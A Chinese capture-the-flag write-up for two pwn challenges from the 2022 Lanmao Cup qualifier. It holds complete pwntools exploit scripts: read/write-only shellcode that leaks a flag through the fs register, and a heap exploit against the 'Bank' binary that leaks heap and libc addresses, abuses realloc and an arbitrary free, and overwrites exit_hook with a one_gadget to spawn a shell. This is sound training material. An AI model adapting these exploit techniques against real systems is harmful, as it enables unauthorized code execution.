2022蓝帽杯初赛 pwn wp

pwn还挺有意思的,第一题写shellcode,第二题能逆就能pwn

2022蓝帽杯初赛 pwn wp

蓝帽杯2022 pwn escape_shellcode

写shellcode题
在这里插入图片描述
只允许使用read和write,但是程序在开始的时候将flag读取到了bss段上
在这里插入图片描述
在这里插入图片描述
并且在调用shellcode之前还将寄存器的值都给清理掉了。
因为程序开了pie所以直接使用flag地址行不通。那就需要思考一下如何泄露出flag地址。
这里可以借助fs寄存器来得到有关text段的地址,再算出flag地址即可。
fs寄存器用于保存线程局部存储TLS,TLS主要是为了避免多个线程访问同一全局变量或静态变量所导致的冲突。所以fs寄存器周围会有线程地址。在笔者调试的时候发现在0x300这里有一个栈地址,跟进发现里面放着有关text段的地址
在这里插入图片描述
算出flag偏移
在这里插入图片描述
拿到flag地址之后直接write打印出来即可。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './escape_shellcode'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('39.107.108.120', 41912)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)
pause()

flag_addr = 0x555555558120

shellcode = asm('''
xor rsi, rsi
mov rsi, fs:[0x300]
mov rsi, [rsi]
add rsi, 0x2b90
xor rdi, rdi
mov rdi, 1
xor rdx, rdx
mov rdx, 0x50
xor rax, rax
mov rax, 1
syscall
''')
r.send(shellcode)

r.interactive()

解法肯定不止上面这一种,还有一种解法可以利用write遇到不写读的内存时会返回值小于0这个特性来解,我们可以先将rsi放到基址前面也就是根本没有这块内存的地方也就是小于下图的0x555555554000
在这里插入图片描述
然后利用条件判断,每次rsi加上0x500,一直这样直到可以正常读的地址也就是0x555555554000后面。此时就应该在0x555555554000 - 0x555555554500附近,而flag在0x555555558120,我们只需要再让rsi为0x4000这样我们就可以拿到flag了,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './escape_shellcode'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('39.107.108.120', 41912)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)
pause()

shellcode = asm('''
xor rsi, rsi
lea rsi, [rip]
sub rsi, 0x5000000
exp:
xor rdi, rdi
mov rdi, 1
xor rdx, rdx
mov rdx, 0x500
xor rax, rax
mov rax, 1
syscall
add rsi, 0x500
cmp rax, 0
jng exp
mov rdx, 0x4000
mov rax, 1
syscall
''')
r.sendline(shellcode)

r.interactive()

蓝帽杯2022 pwn Bank

在这里插入图片描述
保护全开
这道题其实逆清楚了基本就可以解出来了
在这里插入图片描述
这里是输入对应的单词就可以进入对应的功能
先看一下Deposit功能
在这里插入图片描述
先判断是否login,接着输入多少钱,然后判断一下card_money钱是否足够,如何足够则总钱+输入的,这个函数没什么用。
看一下put函数
在这里插入图片描述
在这里插入图片描述
这里就是需要存放的钱,判断是否小于总钱。并将需要存放的钱放入card_money中
接下来再看login函数
在这里插入图片描述
输入card_numbers,需要过检测
在这里插入图片描述
长度大于0,并在0-9之间,接下来输入密码的时候长度需要大于5,也是0-9
在这里插入图片描述
满足上面的条件即可login成功
在这里插入图片描述
info函数就是打印这两个东西
Transfer这个功能很重要
在这里插入图片描述
首先还是输入什么单词进入什么功能。
先是admin功能
在这里插入图片描述
这里可以进行越界读因为没有限制a1,但是a1必须大于30
在这里插入图片描述
hacker这个函数就是任意地址释放
在这里插入图片描述
guest申请了0x18大小的堆,并可以写入0x10个数据
在这里插入图片描述
ghost这里可以申请小于0x100大小的堆,需要特别注意的是这里使用的是realloc函数
在这里插入图片描述
而abyss这个功能可以一次任意写并exit退出
所以我们可以劫持exit_hook来getshell。首先需要泄露出heap地址。这个很好办,前面利用了realloc这个函数,所以我们可以借助realloc来free出堆地址。
在这里插入图片描述
上图红色的是借助realloc来free出堆地址,而粉色的是vuln_addr,admin这个功能可以从vuln这里往后读到最后一个红框的堆地址。
0x421这个是为了泄露出libc地址做准备。
在这里插入图片描述
继续利用realloc往后走,将距离0x420后的prev改成0x420这样利用hacker来free 0x55555575a2c0这个地址时候可以绕过检查
在这里插入图片描述
到了这一步直接admin来泄露的话还不行因为i还小于30,所以想个办法将下面的堆合并一下使得i大于30可以利用admin泄露出来。
在这里插入图片描述
泄露出libc之后再次利用hacker将vuln_addr地址释放掉,这样再利用guest的时候可以将vuln_addr给劫持到exit_hook这里。接着利用abyss将exit_hook改成one_gadget即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './Bank'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote()
else:
r = process([file_name], env={"LD_PRELOAD":'./2.31/lib/x86_64-linux-gnu/libc-2.31.so'})

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Click: '
def login():
r.sendlineafter(menu, 'Login')
r.sendlineafter('Card Numbers: ', str(123))
r.sendlineafter('Password: ', str(123123))

def info():
r.sendlineafter(menu, 'Info')

def Put(money):
r.sendlineafter(menu, 'Put')
r.sendlineafter('How Much? ', str(money))

def Deposit(money):
r.sendlineafter(menu, 'Deposit')
r.sendlineafter('How Much? ', str(money))

def admin(money):
r.sendlineafter(menu, 'Transfer')
r.sendlineafter('who? ', 'admin')
r.sendlineafter('How much? ', str(money))

def hacker(addr):
r.sendlineafter(menu, 'Transfer')
r.sendlineafter('who? ', 'hacker')
r.sendlineafter('How much? ', str(0x33))
r.sendline(addr)

def guest(data):
r.sendlineafter(menu, 'Transfer')
r.sendlineafter('who? ', 'guest')
r.sendlineafter('How much? ', str(0x6))
r.sendafter('data: ', data)

def ghost(size):
r.sendlineafter(menu, 'Transfer')
r.sendlineafter('who? ', 'ghost')
r.sendlineafter('How much? ', str(0xb))
r.sendlineafter('ghost: &^%$#@! :)', str(size))

def abyss(addr):
r.sendlineafter(menu, 'Transfer')
r.sendlineafter('who? ', 'abyss')
r.sendlineafter('How much? ', str(1))
r.sendline(addr)


login()
Put(0x190)

# leak heap_base
guest(p64(0) + p64(0x421))
ghost(0x80)
guest('aaaa')
ghost(0x90)
guest('bbbb')
ghost(0xf0)
admin(0x1f)
r.recvuntil('I think ')
heap_base = int(r.recv(14), 16) - 0x10
li('heap_base = ' + hex(heap_base))

# leak libc
ghost(0x30)
ghost(0xf0)
guest('cccc')
guest(p64(0x420)+p64(0x31))
guest(p64(0x420)+p64(0x31))
guest(p64(0x420)+p64(0x31))
guest(p64(0x420)+p64(0x31))
guest(p64(0x420)+p64(0x31))
guest('dddd')
hacker(str(heap_base + 0x2d0))
ghost(0x30)
ghost(0xf0)
admin(0x26)
r.recvuntil('I think ')
malloc_hook = int(r.recv(14), 16) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
exit_hook = libc_base + 0x222f68
li('exit_hook = ' + hex(exit_hook))

hacker(str(heap_base + 0x2a0))
guest(p64(exit_hook))

one = [0xe6c7e, 0xe6c81, 0xe6c84]
one_gadget = one[0] + libc_base

abyss(str(one_gadget))

r.interactive()